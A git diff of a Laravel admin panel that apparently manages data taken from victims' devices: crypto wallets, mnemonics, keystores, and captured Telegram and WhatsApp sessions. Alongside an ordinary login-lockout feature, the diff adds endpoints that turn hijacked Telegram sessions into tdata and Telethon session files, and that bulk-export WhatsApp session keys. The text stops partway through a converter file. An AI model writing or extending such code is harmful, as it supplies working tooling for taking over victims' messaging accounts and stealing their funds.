diff --git a/app/Http/Controllers/Admin/AdminUserController.php b/app/Http/Controllers/Admin/AdminUserController.php index 182726e..900fe4f 100644 --- a/app/Http/Controllers/Admin/AdminUserController.php +++ b/app/Http/Controllers/Admin/AdminUserController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; +use App\Models\SystemLog; use Illuminate\Http\Request; use Illuminate\Validation\Rule; @@ -43,6 +44,9 @@ class AdminUserController extends Controller 'status' => (int) $a->status, 'google_auth_open' => (int) $a->google_auth_open, 'last_ip' => $a->last_ip, + 'login_attempts' => (int) $a->login_attempts, + 'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'), + 'is_locked' => $a->isLocked(), 'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'), 'is_self' => $a->id === $selfId, @@ -121,6 +125,35 @@ class AdminUserController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + /** + * Unlock an admin account that was locked due to too many failed + * password attempts. Only super admins can unlock. + */ + public function unlock(Admin $adminUser) + { + /** @var Admin $actor */ + $actor = auth('admin')->user(); + if (! $actor instanceof Admin || ! $actor->isSuper()) { + return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403); + } + + if (! $adminUser->isLocked()) { + return response()->json(['code' => 1, 'msg' => '该账号未被封禁']); + } + + $adminUser->clearLoginAttempts(); + + SystemLog::record( + $actor, + 'admin', + SystemLog::ACTION_ADMIN_UNLOCKED, + '超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态', + request(), + ); + + return response()->json(['code' => 0, 'msg' => '已解除封禁']); + } + private function superCount(): int { return (int) Admin::query()->where('is_super', 1)->count(); diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index ec1cb8b..ce41a67 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -3,7 +3,9 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; +use App\Models\Admin; use App\Models\Channel; +use App\Models\SystemLog; use App\Models\User; use App\Services\TelegramNotifier; use Illuminate\Http\Request; @@ -55,6 +57,9 @@ class AgentUserController extends Controller 'chat_id' => $u->chat_id ?: '', 'telegram_ready' => $u->hasTelegramChat(), 'google_bound' => $u->hasGoogleBound() ? 1 : 0, + 'login_attempts' => (int) $u->login_attempts, + 'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'), + 'is_locked' => $u->isLocked(), 'channels_count' => (int) $u->channels_count, 'auto_transfer_enabled' => (int) $u->auto_transfer_enabled, 'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '', @@ -167,6 +172,31 @@ class AgentUserController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + public function unlock(User $agent) + { + /** @var Admin|null $actor */ + $actor = auth('admin')->user(); + if (! $actor instanceof Admin) { + return response()->json(['code' => 1, 'msg' => '未登录'], 401); + } + + if (! $agent->isLocked()) { + return response()->json(['code' => 1, 'msg' => '该账号未被封禁']); + } + + $agent->clearLoginAttempts(); + + SystemLog::record( + $actor, + 'admin', + SystemLog::ACTION_AGENT_UNLOCKED, + '管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态', + request(), + ); + + return response()->json(['code' => 0, 'msg' => '已解除封禁']); + } + public function testTelegram(Request $request, TelegramNotifier $telegram) { $data = $request->validate([ diff --git a/app/Http/Controllers/Admin/AuthController.php b/app/Http/Controllers/Admin/AuthController.php index 66e8ce9..a960e57 100644 --- a/app/Http/Controllers/Admin/AuthController.php +++ b/app/Http/Controllers/Admin/AuthController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; +use App\Models\SystemLog; use App\Services\AdminGoogle2fa; use App\Support\VisitorIp; use Illuminate\Http\JsonResponse; @@ -61,12 +62,47 @@ class AuthController extends Controller ]); } + // Account-level lock: if the admin account is locked due to too many + // consecutive wrong passwords, reject the login regardless of IP. + $admin = Admin::query()->where('username', $credentials['username'])->first(); + if ($admin && $admin->isLocked()) { + return response()->json([ + 'code' => 1, + 'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除', + ]); + } + if (! Auth::guard('admin')->attempt( ['username' => $credentials['username'], 'password' => $credentials['password']], false )) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + // Track consecutive wrong passwords on the account itself. + if ($admin) { + $justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS); + if ($justLocked) { + SystemLog::record( + $admin, + 'admin', + SystemLog::ACTION_ADMIN_LOCKED, + '管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁', + $request, + ); + return response()->json([ + 'code' => 1, + 'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除', + ]); + } + $remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts; + if ($remaining > 0) { + return response()->json([ + 'code' => 1, + 'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)', + ]); + } + } + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); } @@ -96,6 +132,7 @@ class AuthController extends Controller } RateLimiter::clear($throttleKey); + $user->clearLoginAttempts(); $request->session()->regenerate(); $user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save(); diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 7367328..afc36b6 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -13,6 +13,7 @@ use App\Models\DsChainLog; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; use App\Models\PhotoRead; use App\Models\User; use App\Models\WalletAddress; @@ -91,7 +92,7 @@ class DeviceController extends Controller 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $d), - 'destroy_url' => route($portal.'.devices.destroy', $d), + 'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '', ]; })->values(); @@ -108,7 +109,7 @@ class DeviceController extends Controller $this->authorizeDevice($device); $tab = $request->query('tab', 'wallets'); - if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) { + if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) { $tab = 'wallets'; } @@ -175,6 +176,8 @@ class DeviceController extends Controller 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), 'events' => $this->paginateEvents($device, $field, $order, $limit, $page), + 'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page), + 'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page), default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]), }; } @@ -746,6 +749,45 @@ class DeviceController extends Controller return $this->layuiPage($paginator->total(), $data); } + private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page) + { + $sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at']; + if (! in_array($field, $sortable, true)) { + $field = 'id'; + } + $q = $device->pluginSessions()->where('kind', $kind); + $q->orderBy('plugin_sessions.'.$field, $order); + $paginator = $q->paginate($limit, ['*'], 'page', $page); + + $portal = $this->portal(); + $isSuper = (bool) auth('admin')->user()?->isSuper(); + $data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) { + $summary = $row->listSummary(); + + return array_merge($summary, [ + 'id' => $row->id, + 'kind' => $row->kind, + 'account_id' => $row->account_id ?: '', + 'phone' => $row->phone ?: '', + 'payload_url' => route($portal.'.sessions.payload', $row, false), + 'download_url' => route($portal.'.sessions.download', $row, false), + 'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.tdata', $row, false) + : '', + 'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.session-file', $row, false) + : '', + 'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP + ? route($portal.'.sessions.ws-full', $row, false) + : '', + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), + ]); + })->values(); + + return $this->layuiPage($paginator->total(), $data); + } + private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page) { $noteId = $device->notes()->orderByDesc('id')->value('id'); diff --git a/app/Http/Controllers/Admin/PluginSessionController.php b/app/Http/Controllers/Admin/PluginSessionController.php index 26ab62a..24176f3 100644 --- a/app/Http/Controllers/Admin/PluginSessionController.php +++ b/app/Http/Controllers/Admin/PluginSessionController.php @@ -7,6 +7,7 @@ use App\Http\Controllers\Controller; use App\Models\PluginSession; use App\Models\User; use App\Support\AgentScope; +use App\Support\WsPayloadConverter; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; @@ -74,6 +75,219 @@ class PluginSessionController extends Controller }, $name, ['Content-Type' => 'application/json; charset=UTF-8']); } + /** + * Download a Telegram Desktop tdata zip for this Telegram session. + * + * Converts the tglib.js payload (state + db_sqlite) into a tdata folder + * via opentele-ng (offline, no Telegram connection), then zips it. + * Only Telegram sessions (kind=1) with a valid backupData block are + * convertible; WhatsApp sessions return 422. + */ + public function downloadTdata(PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + if (! auth('admin')->user()?->isSuper()) { + return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403); + } + + if (! $pluginSession->isTelegram()) { + return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422); + } + + $payload = $pluginSession->fullPayload(); + if (! is_array($payload) || ! isset($payload['state'])) { + return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422); + } + + $python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python')); + $script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py')); + + if (! is_file($python) || ! is_file($script)) { + return response()->json([ + 'code' => 1, + 'msg' => '转换环境未配置(缺少 Python 或脚本)', + ], 500); + } + + $tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid(); + @mkdir($tmpDir, 0700, true); + $jsonPath = $tmpDir.'/input.json'; + $zipPath = $tmpDir.'/tdata.zip'; + file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); + + $cmd = escapeshellarg($python).' '.escapeshellarg($script).' ' + .escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1'; + $output = []; + $exit = -1; + @exec($cmd, $output, $exit); + + if ($exit !== 0 || ! is_file($zipPath)) { + $msg = implode("\n", $output) ?: "转换失败 (exit=$exit)"; + @unlink($jsonPath); + if (is_file($zipPath)) @unlink($zipPath); + @rmdir($tmpDir); + + return response()->json(['code' => 1, 'msg' => $msg], 500); + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $filename = 'tdata-'.$account.'.zip'; + $zipContents = file_get_contents($zipPath); + + @unlink($jsonPath); + @unlink($zipPath); + @rmdir($tmpDir); + + return response()->streamDownload(static function () use ($zipContents) { + echo $zipContents; + }, $filename, ['Content-Type' => 'application/zip']); + } + + /** + * Download a Telethon session trio file (.session / .json / _密钥.txt). + * + * Converts the tglib.js payload (state + db_sqlite) into the three-file + * Telethon session format via tglib_to_session_files.py (offline). + * The `type` query param selects which file to stream back: + * - session: {phone}.session (SQLite, application/octet-stream) + * - json: {phone}.json (metadata + session_string) + * - key: {phone}_密钥.txt (session_string plain text) + * Only Telegram sessions (kind=1) with a valid backupData block are + * convertible; WhatsApp sessions return 422. + */ + public function downloadSessionFile(Request $request, PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + if (! auth('admin')->user()?->isSuper()) { + return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403); + } + + if (! $pluginSession->isTelegram()) { + return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422); + } + + $type = (string) $request->query('type', 'session'); + if (! in_array($type, ['session', 'json', 'key'], true)) { + $type = 'session'; + } + + $payload = $pluginSession->fullPayload(); + if (! is_array($payload) || ! isset($payload['state'])) { + return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422); + } + + $python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python')); + $script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py')); + + if (! is_file($python) || ! is_file($script)) { + return response()->json([ + 'code' => 1, + 'msg' => '转换环境未配置(缺少 Python 或脚本)', + ], 500); + } + + $tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid(); + @mkdir($tmpDir, 0700, true); + $jsonPath = $tmpDir.'/input.json'; + $outDir = $tmpDir.'/out'; + @mkdir($outDir, 0700, true); + file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); + + $cmd = escapeshellarg($python).' '.escapeshellarg($script).' ' + .escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1'; + $output = []; + $exit = -1; + @exec($cmd, $output, $exit); + + if ($exit !== 0) { + $msg = implode("\n", $output) ?: "转换失败 (exit=$exit)"; + $this->rrmdir($tmpDir); + return response()->json(['code' => 1, 'msg' => $msg], 500); + } + + // Locate the generated files (named {phone}.* in outDir). + $sessionFile = $jsonMeta = $keyFile = null; + foreach (glob($outDir.'/*') as $f) { + $base = basename($f); + if (str_ends_with($base, '.session')) { + $sessionFile = $f; + } elseif (str_ends_with($base, '.json')) { + $jsonMeta = $f; + } elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) { + $keyFile = $f; + } + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile); + $ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session'); + $filename = $account.'.'.$ext; + $mime = $type === 'json' ? 'application/json' + : ($type === 'key' ? 'text/plain' : 'application/octet-stream'); + + if (! $file || ! is_file($file)) { + $this->rrmdir($tmpDir); + return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500); + } + + $contents = file_get_contents($file); + $this->rrmdir($tmpDir); + + return response()->streamDownload(static function () use ($contents) { + echo $contents; + }, $filename, ['Content-Type' => $mime]); + } + + /** + * Download a single WhatsApp session's full protocol parameters as a + * one-line NDJSON .txt file (the __ws.txt 26-field format). + * + * Only WhatsApp sessions (kind=2) with a convertible payload are + * supported; Telegram sessions return 422. + */ + public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter) + { + $this->authorizeSession($pluginSession); + + if (! $pluginSession->isWhatsApp()) { + return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422); + } + + $line = $converter->convertToLine($pluginSession, $pluginSession->device); + if ($line === null) { + return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422); + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $filename = 'ws-'.$account.'.txt'; + + return response()->streamDownload(static function () use ($line) { + echo $line."\n"; + }, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']); + } + + /** + * Recursively remove a directory (best-effort). + */ + private function rrmdir(string $dir): void + { + if (! is_dir($dir)) { + return; + } + $items = array_diff(scandir($dir) ?: [], ['.', '..']); + foreach ($items as $item) { + $path = $dir.'/'.$item; + if (is_dir($path)) { + $this->rrmdir($path); + } else { + @unlink($path); + } + } + @rmdir($dir); + } + /** * Bulk export all sessions matching the current filter as a ZIP. * Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor @@ -163,6 +377,52 @@ class PluginSessionController extends Controller ]); } + /** + * Bulk export WhatsApp sessions as a single NDJSON .txt file + * (one JSON object per line, 26 fields — the chk.ts / __ws.txt format). + * + * Each wap.js payload is converted on the fly: protobuf signedPreKey + * decode, libsodium curve25519 public-key derivation, and cc/country/in + * inference from the bare phone number. Sessions lacking the minimum + * key material are skipped (counted in X-Export-Skipped). + */ + public function exportWs(Request $request, WsPayloadConverter $converter) + { + $q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP); + $total = $q->count(); + if ($total === 0) { + return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422); + } + if ($total > 1000) { + return response()->json([ + 'code' => 1, + 'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出', + ], 422); + } + + $fileName = 'ws-'.date('Ymd-His').'.txt'; + + return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) { + $written = 0; + $skipped = 0; + foreach ($q->cursor() as $row) { + /** @var PluginSession $row */ + $line = $converter->convertToLine($row, $row->device); + if ($line === null) { + $skipped++; + continue; + } + echo $line."\n"; + $written++; + } + }, $fileName, [ + 'Content-Type' => 'text/plain; charset=UTF-8', + 'X-Export-Count' => (string) $total, + 'X-Export-Written' => (string) ($written ?? 0), + 'X-Export-Skipped' => (string) ($skipped ?? 0), + ]); + } + private function page(string $kind) { $agents = $this->isAgentPortal() @@ -194,7 +454,8 @@ class PluginSessionController extends Controller $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); - $data = collect($paginator->items())->map(function ($row) use ($portal) { + $isSuper = (bool) auth('admin')->user()?->isSuper(); + $data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) { /** @var PluginSession $row */ $summary = $row->listSummary(); @@ -205,6 +466,15 @@ class PluginSessionController extends Controller 'channel_id' => $row->device_channel_id ?: '', 'payload_url' => route($portal.'.sessions.payload', $row, false), 'download_url' => route($portal.'.sessions.download', $row, false), + 'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.tdata', $row, false) + : '', + 'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.session-file', $row, false) + : '', + 'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP + ? route($portal.'.sessions.ws-full', $row, false) + : '', 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), diff --git a/app/Http/Controllers/Agent/AuthController.php b/app/Http/Controllers/Agent/AuthController.php index 2d1fc0f..5ae56f5 100644 --- a/app/Http/Controllers/Agent/AuthController.php +++ b/app/Http/Controllers/Agent/AuthController.php @@ -3,6 +3,7 @@ namespace App\Http\Controllers\Agent; use App\Http\Controllers\Controller; +use App\Models\SystemLog; use App\Models\User; use App\Services\AdminGoogle2fa; use App\Support\VisitorIp; @@ -63,6 +64,12 @@ class AuthController extends Controller /** @var User|null $user */ $user = User::query()->where('username', $credentials['username'])->first(); + if ($user && $user->isLocked()) { + return response()->json([ + 'code' => 1, + 'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除', + ]); + } if ($user && ! $user->isEnabled()) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); @@ -75,6 +82,31 @@ class AuthController extends Controller )) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + if ($user) { + $justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS); + if ($justLocked) { + SystemLog::record( + $user, + 'agent', + SystemLog::ACTION_AGENT_LOCKED, + '代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁', + $request, + ); + + return response()->json([ + 'code' => 1, + 'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除', + ]); + } + $remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts; + if ($remaining > 0) { + return response()->json([ + 'code' => 1, + 'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)', + ]); + } + } + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); } @@ -96,6 +128,7 @@ class AuthController extends Controller } RateLimiter::clear($throttleKey); + $user->clearLoginAttempts(); $request->session()->regenerate(); return response()->json([ diff --git a/app/Models/Admin.php b/app/Models/Admin.php index 6a03224..214ce9a 100644 --- a/app/Models/Admin.php +++ b/app/Models/Admin.php @@ -14,6 +14,8 @@ class Admin extends Authenticatable 'google_auth_open', 'google_secret', 'last_ip', + 'login_attempts', + 'locked_at', ]; protected $hidden = ['password', 'remember_token', 'google_secret']; @@ -25,6 +27,8 @@ class Admin extends Authenticatable 'is_super' => 'integer', 'status' => 'integer', 'google_auth_open' => 'integer', + 'login_attempts' => 'integer', + 'locked_at' => 'datetime', ]; } @@ -38,6 +42,42 @@ class Admin extends Authenticatable return (int) $this->status === 1; } + public function isLocked(): bool + { + return $this->locked_at !== null; + } + + /** + * Increment the consecutive failed-login counter; auto-lock when the + * count reaches $maxAttempts (default 5). Returns true when the call + * triggers a lock. + */ + public function recordFailedLogin(int $maxAttempts = 5): bool + { + $this->login_attempts = (int) $this->login_attempts + 1; + $justLocked = false; + if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) { + $this->locked_at = now(); + $justLocked = true; + } + $this->save(); + + return $justLocked; + } + + /** + * Reset the failed-login counter (called after a successful login or + * when an admin manually unlocks the account). + */ + public function clearLoginAttempts(): void + { + if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) { + $this->login_attempts = 0; + $this->locked_at = null; + $this->save(); + } + } + public function hasGoogleBound(): bool { return filled($this->google_secret); diff --git a/app/Models/SystemLog.php b/app/Models/SystemLog.php index 3f8fdb6..00c708a 100644 --- a/app/Models/SystemLog.php +++ b/app/Models/SystemLog.php @@ -12,6 +12,14 @@ class SystemLog extends Model public const ACTION_MNEMONIC_CREATE = 'mnemonic_create'; + public const ACTION_ADMIN_LOCKED = 'admin_locked'; + + public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked'; + + public const ACTION_AGENT_LOCKED = 'agent_locked'; + + public const ACTION_AGENT_UNLOCKED = 'agent_unlocked'; + public const UPDATED_AT = null; protected $fillable = [ @@ -30,6 +38,10 @@ class SystemLog extends Model return [ self::ACTION_MNEMONIC_REVEAL => '查看助记词', self::ACTION_MNEMONIC_CREATE => '手动添加助记词', + self::ACTION_ADMIN_LOCKED => '账号封锁', + self::ACTION_ADMIN_UNLOCKED => '账号解锁', + self::ACTION_AGENT_LOCKED => '代理账号封锁', + self::ACTION_AGENT_UNLOCKED => '代理账号解锁', ]; } diff --git a/app/Models/User.php b/app/Models/User.php index 3bca002..5391a5a 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -17,6 +17,8 @@ class User extends Authenticatable 'auto_transfer_threshold_bnb', 'album_storage_default', 'can_reveal_mnemonics', + 'login_attempts', + 'locked_at', ]; protected $hidden = [ @@ -46,6 +48,8 @@ class User extends Authenticatable 'album_storage_default' => 'boolean', 'can_reveal_mnemonics' => 'boolean', 'google_auth_open' => 'integer', + 'login_attempts' => 'integer', + 'locked_at' => 'datetime', ]; } @@ -59,6 +63,42 @@ class User extends Authenticatable return (int) $this->status === 1; } + public function isLocked(): bool + { + return $this->locked_at !== null; + } + + /** + * Increment the consecutive failed-login counter; auto-lock when the + * count reaches $maxAttempts (default 5). Returns true when the call + * triggers a lock. + */ + public function recordFailedLogin(int $maxAttempts = 5): bool + { + $this->login_attempts = (int) $this->login_attempts + 1; + $justLocked = false; + if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) { + $this->locked_at = now(); + $justLocked = true; + } + $this->save(); + + return $justLocked; + } + + /** + * Reset the failed-login counter (called after a successful login or + * when an admin manually unlocks the account). + */ + public function clearLoginAttempts(): void + { + if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) { + $this->login_attempts = 0; + $this->locked_at = null; + $this->save(); + } + } + public function channels(): HasMany { return $this->hasMany(Channel::class, 'user_id'); diff --git a/app/Support/CountryCallingCode.php b/app/Support/CountryCallingCode.php new file mode 100644 index 0000000..40f651d --- /dev/null +++ b/app/Support/CountryCallingCode.php @@ -0,0 +1,95 @@ + ISO 3166-1 alpha-2. + * + * Used to infer cc / country / in from a bare WhatsApp phone number + * (wap.js reports userId as an int with no country-code breakdown). + * Longest-prefix-first so 1-3 digit codes resolve correctly. + */ +final class CountryCallingCode +{ + /** @var array calling-code => ISO alpha-2 */ + private const CALLING_CODES = [ + '1' => 'US', '7' => 'RU', + '20' => 'EG', '27' => 'ZA', '30' => 'GR', '31' => 'NL', '32' => 'BE', + '33' => 'FR', '34' => 'ES', '36' => 'HU', '39' => 'IT', '40' => 'RO', + '41' => 'CH', '43' => 'AT', '44' => 'GB', '45' => 'DK', '46' => 'SE', + '47' => 'NO', '48' => 'PL', '49' => 'DE', '51' => 'PE', '52' => 'MX', + '53' => 'CU', '54' => 'AR', '55' => 'BR', '56' => 'CL', '57' => 'CO', + '58' => 'VE', '60' => 'MY', '61' => 'AU', '62' => 'ID', '63' => 'PH', + '64' => 'NZ', '65' => 'SG', '66' => 'TH', '81' => 'JP', '82' => 'KR', + '84' => 'VN', '86' => 'CN', '90' => 'TR', '91' => 'IN', '92' => 'PK', + '93' => 'AF', '94' => 'LK', '95' => 'MM', '98' => 'IR', + '211' => 'SS', '212' => 'MA', '213' => 'DZ', '216' => 'TN', '218' => 'LY', + '220' => 'GM', '221' => 'SN', '222' => 'MR', '223' => 'ML', '224' => 'GN', + '225' => 'CI', '226' => 'BF', '227' => 'NE', '228' => 'TG', '229' => 'BJ', + '230' => 'MU', '231' => 'LR', '232' => 'SL', '233' => 'GH', '234' => 'NG', + '235' => 'TD', '236' => 'CF', '237' => 'CM', '238' => 'CV', '239' => 'ST', + '240' => 'GQ', '241' => 'GA', '242' => 'CG', '243' => 'CD', '244' => 'AO', + '245' => 'GW', '248' => 'SC', '249' => 'SD', '250' => 'RW', '251' => 'ET', + '252' => 'SO', '253' => 'DJ', '254' => 'KE', '255' => 'TZ', '256' => 'UG', + '257' => 'BI', '258' => 'MZ', '260' => 'ZM', '261' => 'MG', '263' => 'ZW', + '264' => 'NA', '265' => 'MW', '266' => 'LS', '267' => 'BW', '268' => 'SZ', + '269' => 'KM', '290' => 'SH', '291' => 'ER', '297' => 'AW', '298' => 'FO', + '299' => 'GL', '350' => 'GI', '351' => 'PT', '352' => 'LU', '353' => 'IE', + '354' => 'IS', '355' => 'AL', '356' => 'MT', '357' => 'CY', '358' => 'FI', + '359' => 'BG', '370' => 'LT', '371' => 'LV', '372' => 'EE', '373' => 'MD', + '374' => 'AM', '375' => 'BY', '376' => 'AD', '377' => 'MC', '378' => 'SM', + '380' => 'UA', '381' => 'RS', '382' => 'ME', '383' => 'XK', '385' => 'HR', + '386' => 'SI', '387' => 'BA', '389' => 'MK', '420' => 'CZ', '421' => 'SK', + '423' => 'LI', '500' => 'FK', '501' => 'BZ', '502' => 'GT', '503' => 'SV', + '504' => 'HN', '505' => 'NI', '506' => 'CR', '507' => 'PA', '508' => 'PM', + '509' => 'HT', '590' => 'GP', '591' => 'BO', '592' => 'GY', '593' => 'EC', + '594' => 'GF', '595' => 'PY', '596' => 'MQ', '597' => 'SR', '598' => 'UY', + '599' => 'CW', '670' => 'TL', '672' => 'NF', '673' => 'BN', '674' => 'NR', + '675' => 'PG', '676' => 'TO', '677' => 'SB', '678' => 'VU', '679' => 'FJ', + '680' => 'PW', '681' => 'WF', '682' => 'CK', '685' => 'WS', '686' => 'KI', + '687' => 'NC', '688' => 'TV', '689' => 'PF', '690' => 'TK', '691' => 'FM', + '692' => 'MH', '850' => 'KP', '852' => 'HK', '853' => 'MO', '855' => 'KH', + '856' => 'LA', '880' => 'BD', '886' => 'TW', '960' => 'MV', '961' => 'LB', + '962' => 'JO', '963' => 'SY', '964' => 'IQ', '965' => 'KW', '966' => 'SA', + '967' => 'YE', '968' => 'OM', '971' => 'AE', '972' => 'IL', '973' => 'BH', + '974' => 'QA', '975' => 'BT', '976' => 'MN', '977' => 'NP', '992' => 'TJ', + '993' => 'TM', '994' => 'AZ', '995' => 'GE', '996' => 'KG', '998' => 'UZ', + ]; + + /** + * Infer [cc, country] from a bare E.164 phone (no + prefix). + * Longest-prefix-first; returns ['', ''] on no match. + * + * @return array{0:string, 1:string} [cc, iso] + */ + public static function inferFromPhone(string $phone): array + { + $phone = preg_replace('/\D+/', '', $phone) ?? ''; + if ($phone === '') { + return ['', '']; + } + for ($len = 3; $len >= 1; $len--) { + $prefix = substr($phone, 0, $len); + if (isset(self::CALLING_CODES[$prefix])) { + return [$prefix, self::CALLING_CODES[$prefix]]; + } + } + + return ['', '']; + } + + public static function callingCodeForCountry(?string $iso): ?string + { + $iso = strtoupper(trim((string) $iso)); + if ($iso === '' || $iso === 'T1' || $iso === 'XX') { + return null; + } + foreach (self::CALLING_CODES as $code => $country) { + if ($country === $iso) { + return $code; + } + } + + return null; + } +} diff --git a/app/Support/WsPayloadConverter.php b/app/Support/WsPayloadConverter.php new file mode 100644 index 0000000..e6cecc8 --- /dev/null +++ b/app/Support/WsPayloadConverter.php @@ -0,0 +1,250 @@ +|null + */ + public function convert(PluginSession $session, ?Device $device = null): ?array + { + $blob = $session->fullPayload(); + if 